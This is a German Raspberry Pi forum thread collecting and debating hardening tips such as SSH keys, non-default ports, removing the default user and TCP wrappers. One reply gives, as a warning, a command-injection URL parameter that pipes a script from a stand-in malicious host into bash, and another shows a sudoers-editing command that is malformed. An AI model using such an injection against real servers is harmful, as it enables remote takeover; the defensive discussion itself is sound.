Ein Guide zu mehr Sicherheit

L I V E Stammtisch ab 20:30 Uhr im Chat
  • Ich schreibe absichtlich kein "Tutorial" zu diesem Thema, denn es gibt keinen festen Weg sein System "sicher" zu machen. Wenn es den gäbe, dann wäre das überall voreingestellt und es gäbe keine Viren, Hacker und ähnliches. Hier sollen bloß Methoden gesammelt werden, wie man seinen Pi schützen kann. Was davon im Einzelnen umgesetzt wird, entscheidet jeder selbst.

    Das sicherste ist immer, seinen Pi nicht ins Internet zu lassen, danach kommt seinen Pi nicht vom Internet aus erreichbar zu machen.
    Nun gehen wir jedoch davon aus, dass dies - warum auch immer - nötig ist. in diesem Thread kann - und soll - gerne darüber diskutiert werden, was sinnvoll ist, wie man besser absichern kann, welche coolen Tools es gibt... Ich will jedoch keine diskussion darüber haben, ob ein Pi ins Internet gehört. Wie gesagt, dies ist für den Fall, dass er es muss, warum auch immer.

    In Thread bitte auch Vorschläge für weitere Tipps. Ich bin auch für Alternativen offen. Genial ist natürlich ein Beitrag im Stil eines Tipps, also

    Code
    Kategorie
    Name - Kurzbeschreibung
    Spoiler mit Begründung + Erklärung
    Link zum Tutorial

    Ich möchte, dass man nur diesen Beitrag lesen muss, wenn man sich nicht an der verbesserung eben dieses Beitrages beteiligen möchte und werde alle neuen Dinge hier hineineditieren. Ich behalte mir jedoch vor, auch Dinge nicht aufzunehmen, möchte das aber eigentlich nicht brauchen.

    Voraussetzungen:
    - keine, dies ist nur ein Guide, kein Tutorial. Voraussetzungen haben die einzelnen verlinkten Tutorials

    Bemerkungen:
    - Dies ist kein Tutorial sondern nur ein Guide, trotzdem gelten meine üblichen Bemerkungen
    - Die Teile dieses Guides bauen NICHT aufeinander auf. Man muss NICHT vorne anfangen.
    - Dieser Guide wird erweitert. Vorschläge bitte im Thread. Ich versuche alles sinnvolle aufzunehmen.
    - Meine Tutorials gehen von Raspbian als Betriebssystem aus
    - Meine Tutorials gehen von einem normalen Nutzer mit sudo-Rechten aus
    - Trotzdem sollte es unter den meisten Betriebssystemen und auch mit einem root-Account funktionieren, da ist dann aber selbst mitdenken angesagt!

    Grundlagen

    • Den Standard-Benutzer 'pi' löschen und einen eigenen verwenden. Dass das Standard-Passwort auch geändert werden sollte, und vor allem nicht beides zusammen beibehalten werden sollte, muss hoffentlich nicht extra erwähnt werden.
    • So wenig offene Ports wie möglich

      "Warum?"


      Es gibt 2 Haupt-Wege wie "etwas böses" an einen Computer kommt.
      1. Ein eigenes (gemeint ist nicht "selbstgeschriebenes" sondern aus dem eigenen Rechner laufendes) Programm holt aktiv etwas böses aus dem Internet, gewollt oder nicht (z.B. ansurfen einer Virenverseuchten Website)
      2. Ein offener Port wird ausgenutzt

      Gegen 1. ist die übliche Vorsicht das beste. Auf Windowssystemen auch ein Virenscanner, unter Linux ist die Gefahr einer Eigeninfektion sehr gering. Bei Serversystemen sollte man jedoch trotzdem darüber nachdenken, denn man könnte die verseuchten daten an andere (Windows-)Systeme weitergeben.

    • Wenn möglich nicht den Standart-Port nutzen

      "Warum?"


      Es gibt zwei Arten von Angriffen
      1. Angriffe auf GENAU DIESEN SERVER weil jemand GENAU DIESEN SERVER lahmlegen will, Informationen daraus haben will, etc.
      2. Angriffe auf ALLE WELT!
      ok und 3. man hat einfach Pech und irgendjemand hat zufällig genau dich getroffen und will ausprobieren wie gut er/sie/es hacken kann. Extrem unwahrscheinlich und Pech!!!

      Über 1. brauchen wir nicht zu reden. Wenn ihr damit Probleme habt, dann solltet ihr euch professionelle Hilfe suchen.
      Was 2. angeht, dagegen versuchen wir uns zu schützen. Das "gute" daran ist, dass diese Angriffe darauf abziehen eine möglichst große Menge an Opfern mit minimalem Aufwand zu treffen. Daher werden hier fast nur die Standart-Ports angegriffen. Wenn wir das angegriffene programm jedoch hinter einem anderen Port laufen haben, dann wäre es zwar für einen "echten" Angriff kein wirkliches Problem dies zu bemerken, die automatischen Massenangriffe treffen jedoch nicht. Und die sind es nun mal mit denen wir am meisten zu kämpfen haben.

    • apticron - Benachrichtige mich bei anstehenden Updates

      "Warum?"


      Braucht das wirklich eine Erklärung?


      Tutorial (horroreyes): apticron - Update-Benachrichtigung per Mail

    • ssh-keys - Anmeldung nur über einen SSH-Key

      "Warum?"


      Anmeldung per ssh-key setzt das Konzept der 2-Faktor-Authentisierung um. Man benötigt Besitz (den Key) und Wissen (des Keys Passwort (genannt Passphrase)) um sich anzumelden. Das heißt es reicht weder, per Keylogger oder Raten oder Bruteforce oder oder oder das Passwort zu wissen, noch reicht es den Key vom rechner gestohlen zu haben. Das eine ist ohne das andere nichts wert.


      Tutorial (meigrafd): Mit SSH Key sicher auf Server zugreifen

    • iwatch - Konfigurations-Dateien überwachen und Veränderungen melden

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu ein Tutorial


    Webserver (Apache, lighttp, nginx, ...)

    • das Browsen von Verzeichnissen untersagen

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu ein Tutorial

    • Verwenden von https (SSL)

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu ein Tutorial

    Fileserver (FTP, Samba, ...)

    • FTP im chroot

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu ein Tutorial

    • FTP ohne Gastzugang

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu ein Tutorial

    • SFPT - FTP mit SSL

      "Mithilfe erwünscht"


      TODO Hilf mit und schreibe als Antwort eine Begründung dafür
      TODO Ein Tutorial wie das funktioniert fehlt auch noch, wenn es ein gutes gibt bitte als Antwort vorschlagen. Wenn du eines gefunden hast bitte ausprobieren und wenn es gut ist vorschlagen (und deine Erfahrungen berichten) oder mache dazu selbst ein Tutorial.

    Es kommt (hoffentlich) noch viel mehr, dafür ist aber DEINE Mithilfe gefragt.

    • Mache Vorschläge welches Thema aufgenommen werden könnte
    • Schreibe (Kurz-)Begründungen für vorhandene Themen
    • schreibe Tutorials
    • zeige uns gute Tutorials
    • teste Tutorials und zeige sie uns wenn sie gut sind

    Einmal editiert, zuletzt von Horroreyes (19. Juli 2014 um 19:12)

  • Erste Mithilfe gab es schon, danke dafür.
    Am besten ist es jedoch, wenn ihr hier Antworten schreibt, anstatt PNs, denn dann können wir auch drüber diskutieren was aufgenommen wird, und es können gleich Tutorials zu den Themen gesucht werden.

    Trotzdem werde ich natürlich auch per PN vorgeschlagene Themen aufnehmen.

    (Beitrag #1 geupdatet)


  • ... hier Antworten schreibt, anstatt PNs, denn dann können wir auch drüber diskutieren was aufgenommen wird, und es können gleich Tutorials zu den Themen gesucht werden.


    Weitere Beiträge für mehr Sicherheit, sind m. E.:
    - nicht den voreingestellten user pi, (zumindest nicht im Internet) zu benutzen
    - für Anwendungen die gegen die libwrap gelinkt sind, auch die "/etc/hosts.allow" zu benutzen
    - Software zu benutzen, die zeitnah (Ver)änderungen an wichtigen (Konfigurations)dateien dokumentiert und per eMail mitteilt. Z. B. iwatch oder gleichwertig.

    The most popular websites without IPv6 in Germany.  IPv6-Ausreden

    Meine PIs

    PI4B/8GB (border device) OpenBSD 7.4 (64bit): SSH-Server, WireGuard-Server, ircd-hybrid-Server, stunnel-Proxy, Mumble-Server

    PI3B+ FreeBSD 14.0-R-p3 (arm64): SSH-Serv., WireGuard-Serv., ircd-hybrid-Serv., stunnel-Proxy, Mumble-Serv., ddclient

    PI4B/4GB Bullseye-lite (64bit; modifiziert): SSH-Server, WireGuard-Server, ircd-hybrid-Server, stunnel-Proxy, Mumble-Server, botamusique, ample

  • Den voreingestellten User ändern... *Kopf->Tastatur* das hätte ich selbst aufnehmen sollen. DANKE!
    libwrap, /etc/hosts.allow kannst du das näher erläutern? Ist das z.B. fail2ban?
    iwatch sieht sehr interessant aus, ich habe dazu leider kein Tutorial oder sowas gefunden. Hast du da eines?


    (Beitrag #1 geupdatet)


  • libwrap, /etc/hosts.allow kannst du das näher erläutern?


    TCP Wrapper. Z. B. auf dem Pi:

    Zitat


    ~ $ ldd $(which sshd) | grep -i libwrap
    libwrap.so.0 => /lib/arm-linux-gnueabihf/libwrap.so.0 (0xb6e8c000)

    Zitat


    ~ $ cat /etc/hosts.allow
    #
    sshd,ngircd : /home/$USER/blacklist.txt : deny


    iwatch sieht sehr interessant aus, ich habe dazu leider kein Tutorial oder sowas gefunden. Hast du da eines?


    Leider nein, nur die englische Dokumentation.

    The most popular websites without IPv6 in Germany.  IPv6-Ausreden

    Meine PIs

    PI4B/8GB (border device) OpenBSD 7.4 (64bit): SSH-Server, WireGuard-Server, ircd-hybrid-Server, stunnel-Proxy, Mumble-Server

    PI3B+ FreeBSD 14.0-R-p3 (arm64): SSH-Serv., WireGuard-Serv., ircd-hybrid-Serv., stunnel-Proxy, Mumble-Serv., ddclient

    PI4B/4GB Bullseye-lite (64bit; modifiziert): SSH-Server, WireGuard-Server, ircd-hybrid-Server, stunnel-Proxy, Mumble-Server, botamusique, ample

  • Ich frage mich, was ist der Sinn dahinter?

    Ich bin mir sicher, es gibt keine Viren, die dem Pi gefährlich werden können :no_sad:

  • flyppo, der Sinn wohinter?
    Hinter Sicherheit generell im Zusammenhang mit dem Pi?
    1. Hast du Unrecht. es gibt Viren die dem Pi etwas anhaben können. Zugegeben, das sind extrem wenige, aber es gibt welche.
    2. Geht es weniger um Schutz vor Viren, als um Schutz vor Missbrauch und Hacking, sowie Botnetzen. Denn diese sind auch für Linux durchaus präsent, da Linux einen erheblichen Anteil des Server-Marktes ausmacht.

    Für genaueres (aus einer etwas anderen Richtung) les dir mal den Spoiler "Warum?" zum Punkt "Grundlagen" -> "Wenn möglich nicht den Standart-Port nutzen" durch. Dort werden die Standart-Angriffsmethoden dargestellt.

    Und warum einen Thread dazu? Um Leute wie dir klarzumachen, dass es unverantwortlich ist, ungesichert den Pi ins Internet zu stellen. Es geht dabei nicht nur um dich, sondern auch um alle anderen, denn wenn dein Pi übernommen wird und du ihn nciht mehr verwenden kannst wie du willst, das ist mir relativ egal. Dass dein Pi dann aber dafür genutzt wird andere Leute anzugreifen und Spam zu verschicken, Illegale Inhalte zu hosten und ähnliches, das interessiert mich durchaus.

    Und falls du mir nicht glaubst, ich habe vor ca 1h hier im Forum (auf der Suche nach einem tutorial zu rpi444's Vorschlägen) einen Thread gefunden, in dem ein User einen Honeypot aufgestellt hat. Es hat nur wenige Stunden gedauert, und der Pi war gehackt und unter fremder Kontrolle (Wenn auch der Angriff, der Beschreibung nach zu urteilen, sehr stümperhaft durchgeführt wurde).

  • Ich halte das für mehr als flüssig. Seis drum.

    Ich bezweifle das jemand meinen Pi übernehmen kann. Das ist alles was ich dazu erwiedern kann. Kannst es ja mal versuchen. Ich sagt dir sogar meine augenblickliche IP wenn nötig. Und ob du Spammails bekommst, geht mir widerum am Allerwertesten vorbei.

    Aber okay. Es gibt sicher nicht wenige unbedarfte User.
    Have a nice day

    Einmal editiert, zuletzt von flyppo (19. Juli 2014 um 21:13)

  • Es gibt diverse Threads zu dem Thema Sicherheit/Internetzugriff. Z.B. diesen hier. Das Thema ist sicherlich wichtig, denn es gibt genügend Leute die ihre Pi einfach so ohne irgendwelche Bedenken ins Netz stellen.

    Ich denke aber es ist besser ein separates Unterforum zu Pi Sicherheit einzurichten als ein Tutorial dazu. Dann darin ein paar pinned Threads die beschreiben was man machen muss um seine Pi nahezu sicher vor Unholden im Netz zu machen. 100% Sicherheit gibt es aber nicht. Dazu muss man richtiger Linux Admin sein - und das ist wohl kaum jemand.

  • framp, wie dir vielleicht aufgefallen ist, sammle ich doch vorhandene Threads. Und ich betone mehrfach, dass es kein Tutorial ist.
    Dein Vorschlag eines Unterforums halte ich für wenig sinnvoll, weil:
    1. Ein paar gepinnte Threads, welche? Was sind die wichtigen?
    2. Die meisten Dinge zum Thema Sicherheit sind Tutorials, der Author wird dann vor die Frage gestellt, wo er sien Tutorial jetzt veröffentlicht.
    3. Auch ein richtiger Linux-Admin kann keine 100% Sicherheit erreichen, das kann niemand.
    4. Ich denke schon das wir richtige Linux-Admins haben. (btw. wie definierst du "richtig")
    5. Für jeden ist der Weg zu einem gut gesicherten Pi (nahezu sicher ist ein ziemlich falscher Begriff finde ich), ist für jeden anders.


    Hier möchte ich mit euch allen einen Leitfaden zusammenstellen, was man machen kann, mit der nötigen Übersicht und jeweils Begründungen, wie man es in Beitrag #1 ja sieht. Soetwas kann ein Unterforum nicht leisten. Da musst du jeden Thread erst öffnen um zu entscheiden, ob du das brauchst/möchtest.

  • Hallo,

    ich bin gerade durch einen Thread auf diesen hier aufmerksam geworden.
    Ich sehe hier und auch in anderen Threads die Dinge erklären immer das Problem, wenn im Text etwas beschrieben ist und dann 20 Seiten später im Thread noch etwas dazu geschrieben wurde, was auf Fehler hinweist oder zu speziellen Problemen oder Verbesserungen usw.. Die aber nie in das Tutorial fliessen.

    Auch ist es immer den Text zu lesen, dann auch noch die anderen Beiträge dazu, wenn man helfen will oder noch weitere Infos dazu schreiben möchte. Es fehlt im Text, wird aber 5 Seiten später geschrieben. Wenn mir etwas auffällt überlegt man einen Kommentar zu schreiben oder auch nicht, weil man nicht die Zeit hat wirklich alles zu lesen z.B. Aufwändigen Themen.

    Wie wäre es mit einem Github Projekt in dem man die Texte auschecken, ändern und einchecken kann. Oder einen Pull Request usw.?

    So und jetzt zum Guide.

    Tief durchatmen .... weil es mal wieder um "Services auf andere Ports legen".
    Ja man versteckt den Dienst (Webserver, FTP, ssh, ...) auf einem anderen Port. Trügerische Sicherheit!!

    Wer gezielt einen oder ein paar Server angreifen will, weil er als Ziel bestimmte Personen oder deren Arbeit hat und ihnen schaden möchte, der legt einen Angriff eh auf einen längeren Zeitraum aus. Und der Angriff startet meistens eh auf sozialer Ebene und erst danach bei den Servern.
    Dabei werden Scans unauffällig gemacht. Erst einmal die Standard-Ports und später dann über einen längeren Zeitpunkt, auch mehrere Tage oder Wochen auf allen anderen Ports. So das der Angreifer nicht so schnell auffällt. Dann noch per Botnets, so das die Zuordnung untereinander schwer zu erkennen ist.
    OS und Services die hinter einem Port lauschen per Fingerprinting erkennen und danach dann direkt drauf verbinden um weitere Informationen über den Service zu erhalten. Bis hin zu den im Service angebotenen Applications (Wordpress, Tomcat-Apps, Webmailer, Admintools usw.), um Versionen zu finden die Lücken haben oder durch Fehlkonfigurationen unsicher wurden.

    Früher oder später wird jeder Service auch auf anderen Ports als die Standard-Ports gefunden und wenn möglich ausgenutzt.

    Für viele, gerade für Anfänger, ist die Aussage:
    "Leg den Webserver auf einen anderen Port als Port 80, dann finden die ganzen Hacker den Webserver nicht."
    immer ein:
    "ok" und kümmern sich gar nicht erst um die Sachen, die den Service sicherer machen würden. Weil sie es nicht besser wissen, kennen viele Tools noch nicht und ahnen was andere damit anstellen.

    Meistens ist auch nicht der Service (Webserver, FTP, ssh, ...) für ein Ausnutzen eines Servers verantwortlich, sondern Fehler in der Config, falsche Rechte auf Configfiles, Fehlerhafte Applications innerhalb des Services. Zum Beispiel selbst geschriebene Scripte, die Parameter ungeprüft entgegen nehmen und im schlimmsten Fall dann per exec($cmd); ausführen. Da wird dann eine URL mit dem Parameter

    Code
    ?cmd=echo;curl%20http://pöserserver.net/installer.sh%7Cbash

    richtig gefährlich.

    Jeder der einen Server betreibt solle sich als erstes Fragen:

    * wer drauf zugreifen wird.
    * Können mögliche Client Apps mit Auth durch den Webserver umgehen.
    * Können sie das nicht:
    * ist ein Portknocking benutzbar für den Anwendungsfall.
    * Wie setze ich ein VPN auf.

    Beim lesen ist mir auch der Punkt ssh und ssh-keys aufgefallen. Eine Auth gegen SSH mit Key ist keine 2-Factor-Auth. Der erste Faktor ist der SSH-Keys und welcher ist der 2. Faktor? Two-Factor wäre es mit zusätzlichen Geräten, Auth per SSH+Key dann einen Code anzeigen, der z.B. am Smartphone bestätigt werden würde. Oder mit einem UBIKey mit GPG Key (und per Fingerprint)

    zu: "Den Standard-Benutzer 'pi' löschen und einen eigenen verwenden."

    Bitte, bitte, bitte!!! Änder den Text bitte etwas ab. Wenn die Leute das so machen wie Du es schreibst, werden sie den PI nach kurzer Zeit und viel Fluchen neu aufsetzen und dabei dann keinen Bock mehr drauf haben den User PI zu sicherer zu machen.
    Der User pi steht unteranderem auch in der Config vom sudo und der neue User vom Benutzer nicht. Die meisten lesen dann in den anderen Anleitungen "mache eine sudo ./blafasel.sh -p 8080" und wundern sich wieso das nicht klappt, da der neue User nichts darf.
    Besser:
    * sudo useradd -g users -G wheel -s /bin/bash -d /home/hans -m hans
    * sudo passwd hans
    * sudo -e "%wheel ALL=(ALL) PASSWD: ALL\n%wheel ALL=(ALL) PASSWD: ALL" >> /etc/sudoers
    * Neuen Login testen per SSH und ein sudo ausprobieren, erst danach dann den User pi deaktivieren, nicht löschen.
    * sudo usermod -L pi

    Die Themen FTP und Samba würde ich streichen, diese beiden Dienste haben nichts im Internet zu suchen. Samba noch nie und FTP sollte man verbieten ;)

    Zur Sicherheit gehört bei mir immer noch viel mehr. Hört bei vielen viel zu weit davor auf, wenn sie von Sicherheit reden.
    Man kann nicht alle eventuellen Angriffe vorher abfangen, nur wenn auch nach Angriffen etwas mache oder machen kann ist wirklich von Sicherheit zu reden.

    Beispiel:
    Ich sehe das in meinem Firewall.log von Port >1024 eine Verbindung aufgebaut wurde zu einem anderen Server auf Port 80 zugreift. Sehe aber, wenn das mal passieren sollte, auch das diese Verbindung nicht zustande kam, da die Firewall diese Verbindung geblockt hat. Denn wenn das passiert, dann kann das nur sein, wenn ein Script fehlerhaft war und irgendwie aus dem Script im PHP oder Perl im Webserver heraus eine Verbindung auf gemacht werden konnte. Oder es wurde etwas in den Webserver eingeschleust.

    Nicht immer nur überlegen was kommt von draussen, sondern auch überlegen was darf überhaupt von meinem Server nach draussen Verbindungen auf machen.
    Jetzt werden manche sagen: Ja aber der Webserver macht Verbindungen von einem Port >1024 auf in Richtung Port 80, apt-get update aber auch.
    Richtig das tun sie, genau so wie andere Programme auch. Nur weiss ich das mein Webserver mit einem User www-data, der die UserID und GroupID 33 hat, läuft und wenn die Firewall Sourceport >1024, DestinationPort: 80 und UID: 33, dann macht sie ein LOG&Reject.

  • ruediger:
    als erstes Danke, dass du als einer der wenigen Überhaupt Interesse an diesem Thema zeigst. Das weiß ich wirklich zu schätzen.
    als zweites: Ich habe in Anbetracht der späten Stunde deinen Kommentar nur überflogen, werde ihn aber morgen gewissenhaft lesen und damit "drittens" füttern
    drittens: Du sagst am Anfang, das problem auch bei diesem Thread ist, dass Infos in der Diskussion sind und eigentlich in den ersten Thread kommen müssten, genau das habe ich doch vor, es steht deutlich (meiner Ansicht nach) im Thread, das ich im Thread nur sammeln möchte und ALLE Informationen die ich als sinnvoll erachte oder von mehreren anderen (Halbdemokratisch *g*) als sinnvoll erachtet werden in den ersten Beitrag einpflege, so dass nur der erste Beitrag gelesen werden muss, außer man will sich an der Diskussion beteiligen.
    Das führt mich auch zu viertens: Hast du den Eingangsbeitrag wirklich gelesen? drittens erwähnen zu müssen irritiert mich shcon sehr. Dein Hinweis, dass da noch viel mehr zu gehört jedoch noch viel mehr, denn es steht EXTREM deutlich dran, dass es im Aufbau ist, noch lange nicht in einem Pflegezustand, sondern im Aufbau. Leider ist das Interesse und damit die Mitwirkung wesentlich schlechter als ich dachte (Hier ein Danke an die 3 Leute die Themen genannt haben, aber ich dachte auch an etwas mehr aktiver Mithilfe, Tutorials suchen und wenn nicht vorhanden schreiben, Begründungen schreiben, etc...)

    Fünftens: Viele diener punkte ich ich überflogen habe sind falsch oder zeigen noch deutlicher, dass du meine Texte nciht gelesen hast. Es tut mir Leid, das so schwammig hier in den Raum zu werfen, ich werde das morgen wesentlich deutlicher Begründen.
    Aber ich bitte auch dich, noch einmal zu lesen und im Idelfall auch eine neue Version deines Beitrages zu schreiben.
    Hier nur die Auffälligkeiten meines Überfliegens:
    - Services auf anderen Port: Du sagst "Wenn jemand genau dich hacken will macht es das kaum sicherer", ich schreibe DEUTLICH "Wenn jemand genau dich hacken will, dacht es das KEIN BISSCHEN sicherer, ABER das ist ein sehr seltener Fall und diese Abwehrmaßnahme ist gegen die Automatischen Angriffe gedacht" <- Du hast nicht gelesen
    - SSH-Key 2-faktor-Authentifizierung: Du fragst was ist daran 2-faktor. ich sage im Beitrag: "1. Faktor den Key (eine datei auf dem Rechner, die man nicht auswendig kennen kann) 2. Faktor das Passwort (Wissen, das nrgendwo auf dem Rechner zu finden ist)" Wissen + Besitz -> 2 Faktoren!
    Auch das stand DEUTLICH in meinem Beitrag.

    Ich hoffe ich habe dich mit meinen (ja anders kann man es wohl kaum nennen) Anschuldigungen nicht gelesen zu haben nicht verschreckt, denn ich finde es gut, dass sich mit diesem Thema auseinandergesetzt wird, und auch kritische Diskussion ist erwünscht. Ja wirklich erwünscht. Ich erwarte bloß, dass dann auch die Informationen die ich schon dazu gebe (in Zukunft rede ich hoffentlich von "uns" aber bis jetzt sind es tatsächlich nur Infos von mir) vorher gelesen werden, bevor sie zerrissen werden.

    Also: bitte führe diese Diskussion fort, aber lese vorher die Spoiler vollständig.

    Wie gesagt, ich werde morgen gründlich deinen Beitrag (so schlecht ich ihn teilweise finde) durchgehen und Begründungen verbessern, Themenlisten ergänzen und mir überlegen, ob rote Warnungen an Dingen stehen sollten, die nicht ins Internet gehören (denn Unrecht hast du in diesem Punkt sicherlich nicht, aber ich habe auch DEUTLICH geschrieben, dass ich eigentlich keine Diskussion in diesem Thread dulde die zum Thema hat, ob etwas online sein sollte, die Prämisse ist in diesem Thread IMMER dass es benötigt ist. Ansonsten ist so ein Guide entweder unmöglich oder wir schalten das Internet einfach ab...).

  • Ok, Ich habe gut geschlafen und mache nun mein versprechen wahr, deinen Post komplett durchzuarbeiten.

    Dein erster Punkt "Infos aus dem ganzen Thread zusammensuchen ist blöd"
    Ich hab gemerkt, dass sich das nicht konkret auf diesen Thread bezieht. Trotzdem hier eine Antwort drauf.
    was du möchtest ist ein Wiki, soetwas gibt es. Ob das in diesem Forum erwünscht ist, das kläre bitte im Thema "Fehler und Verbesserungen" für diesen Thread sieht es so aus (Zitat aus dem 1. Beitrag)
    "Ich möchte, dass man nur diesen Beitrag lesen muss, wenn man sich nicht an der verbesserung eben dieses Beitrages beteiligen möchte und werde alle neuen Dinge hier hineineditieren. Ich behalte mir jedoch vor, auch Dinge nicht aufzunehmen, möchte das aber eigentlich nicht brauchen."
    Wie soll ich das deutlicher machen?

    Dein zweiter Punkt "Standardports ändern bietet trügerishce Sicherheit"
    Ja mit deiner Begründung hast du absolut recht, denoch ist das in diesem Post nicht angebracht, denn genau das erkläre ich auch im 1. Beitrag (Zitat):
    "Es gibt zwei Arten von Angriffen
    1. Angriffe auf GENAU DIESEN SERVER weil jemand GENAU DIESEN SERVER lahmlegen will, Informationen daraus haben will, etc.
    2. Angriffe auf ALLE WELT!
    ok und 3. man hat einfach Pech und irgendjemand hat zufällig genau dich getroffen und will ausprobieren wie gut er/sie/es hacken kann. Extrem unwahrscheinlich und Pech!!!

    Über 1. brauchen wir nicht zu reden. Wenn ihr damit Probleme habt, dann solltet ihr euch professionelle Hilfe suchen.
    Was 2. angeht, dagegen versuchen wir uns zu schützen. Das "gute" daran ist, dass diese Angriffe darauf abziehen eine möglichst große Menge an Opfern mit minimalem Aufwand zu treffen. Daher werden hier fast nur die Standart-Ports angegriffen. Wenn wir das angegriffene programm jedoch hinter einem anderen Port laufen haben, dann wäre es zwar für einen "echten" Angriff kein wirkliches Problem dies zu bemerken, die automatischen Massenangriffe treffen jedoch nicht. Und die sind es nun mal mit denen wir am meisten zu kämpfen haben."

    Es wird also darauf hingewiesen, dass dies eine Maßnahme gegen Massenangriffe ist, und warum sie dafür wirksam ist. Und auch dass sie für gezielte Angriffe wirkungslos ist. Was kann ich daran verbessern?

    Dein Punkt "SSH-Key ist kein 2-Faktor-System"
    Richtig, ein SSH-Key ist ein Faktor, deshalb sag ich ja auch "SSH-Key mit Passphrase". 1. Faktor SSH-Key 2. Faktor Schlüssel dazu. Es ist zugegebenermaßen nicht das Paradebeispiel einer 2-Faktor-Authentifizierung, da die Informationen zusammengeführt werden, trotzdem ist es eine.
    Hierzu die Definition aus Wikipedia:
    "Die Zwei-Faktor-Authentifizierung (kurz 2FA) dient dem Identitätsnachweis eines Nutzers mittels der Kombination zweier verschiedener und insbesondere unabhängiger Komponenten (Faktoren). Das kann typischerweise etwas sein, was er weiß, etwas, was er besitzt, oder etwas, was untrennbar zu ihm gehört."
    Besitz: SSH-Key
    Wissen: Passphrase

    Wir können gerne darüber diskutieren, ob die Bedingung "unabhängig" in diesem Fall zutrifft. Aber "Was ist der zweite Faktor" ist keine Frage die hier gestellt werden kann.
    das steht auch deutlich im 1. Beitrag (Zitat):
    "Anmeldung per ssh-key setzt das Konzept der 2-Faktor-Authentisierung um. Man benötigt Besitz (den Key) und Wissen (des Keys Passwort (genannt Passphrase)) um sich anzumelden. Das heißt es reicht weder, per Keylogger oder Raten oder Bruteforce oder oder oder das Passwort zu wissen, noch reicht es den Key vom rechner gestohlen zu haben. Das eine ist ohne das andere nichts wert."
    Hier Begründe ich auch, warum ich die Komponenten für Unabhängig halte, denn die eine ist ohne die andere Nutzlos. Aber dieser Punkt ist disskusionswürdig, das ist mir klar.

    Dein Punkt "zu: "Den Standard-Benutzer 'pi' löschen und einen eigenen verwenden." "

    Ich verstehe den Einwand, du hast Recht.
    Dein Lösungsvorschlag ist jedoch nicht akzeptabel. Vielleicht ist es dir nciht aufgefallen, aber ich habe ein klares Schema, wie die Punkte des Guides aufgebaut sind (Das ich im 1. Beitrag auch erleutere, Zitat):

    Code
    Kategorie
    Name - Kurzbeschreibung
    Spoiler mit Begründung + Erklärung
    Link zum Tutorial

    eine Copy&Paste Anleitung werde ich dort also NICHT reinschreiben.
    Wenn du eine Verbesserung in diesem Stil vorschlägst werde ich sie sehr wahrscheinlich statt dem aktuellen nehmen.

    Dein Punkt "Zur Sicherheit gehört bei mir immer noch viel mehr"
    Absolut. Wieder ein zitat aus dem ersten Beitrag:
    "Es kommt (hoffentlich) noch viel mehr, dafür ist aber DEINE Mithilfe gefragt."
    Mehr muss ich zu diesem Punkt eigentlich nicht sagen, oder??? Es fehlt noch viel, also setz dich hin und schreibe ein Tutorial oder zwei oder drei vier fünf 6 7 8 9 100! :P

    Vorerst habe ich mich dagegen entschieden, an einzelne Dienste Warnungen ranzuschrieben.
    Dieser Thread ist dafür gedacht die Dinge die ich BRAUCHE abzusichern. Die Prämisse hier ist "Ich brauche diesen Dienst, wie kann ich ihn zumindest grundliegend absichern". Auch weiß ich nicht, wie ich die Warnungen einbauen soll. Wenn mir dazu jemand einen guten Vorschlag macht, mache ich das vielleicht doch. ABER Das muss irhendwie in das Konzept passen, denn das ist kein Fließtext mit Copy&Paste wie du es anscheinend verstanden hattest, sondern ein geordneter und strukturierter Guide. Und da kann ich nicht einfach in die Mitte schreiben "Dieser Dienst ist böse"

    Ich wiederhole meine Bitte von gestern Abend: Führe diese Disskussion fort, denn ich habe das Gefühl, du hast durchaus Wissen in diesem Bereich und kannst eine Bereicherung sein. Aber führe sie bitte auf Basis des ganzen Guides fort und nicht nur auf Stichworten, und bringe Verbesserungsvorschläge, die ins Konzept passen.

  • Das war wohl ein Fall von "Große Klappe aber nichts dahinter". Zumindest gibt es keine Antwort, und auch auf eine freundliche Nachfrage an ruedigerp per PN kam keine Rückmeldung...
    Würde mich zwar freuen, wenn meine Einschätzung widerlegt wird, aber ich glaube nicht daran.

  • Mal Ehrlich. Und Du wunderst Dich wieso keiner mit hilft?

    Ich bin halt Der Meinung das es besser ist den Usern genau zu erklären wieso sie den PI User nicht benutzen sollen und wieso ein löschen des Users "pi" in die Hose geht.
    Die User müssen wissen das dieser User z.B. in bestimmten Gruppen ist, wieso der in der Datei /etc/sudoers und was diese Einträge machen.
    Was Du jetzt z.B. nicht beachtet hast ist folgendes:

    * User pi wird gelöscht.
    * User pi steht noch in der /etc/sudoers
    * Irgend eine Lücke wird ausgenutzt und der Angreifer kann, wieso auch immer (Gründe dafür gibt es viele), einen User anlegen der "pi" heist, das Passwort setzen oder im Home .ssh/authorized_keys einen Public Key ablegen.
    * Angreifer kann sich einloggen.
    * Angreifer bekommt sogar root, da der User "pi" immer noch in der /etc/sudoers steht.

    Super, tolle Wurst. Damit es den Usern, die meistens erst mit dem RaspberryPI mit Linux anfangen, ja total geholfen.

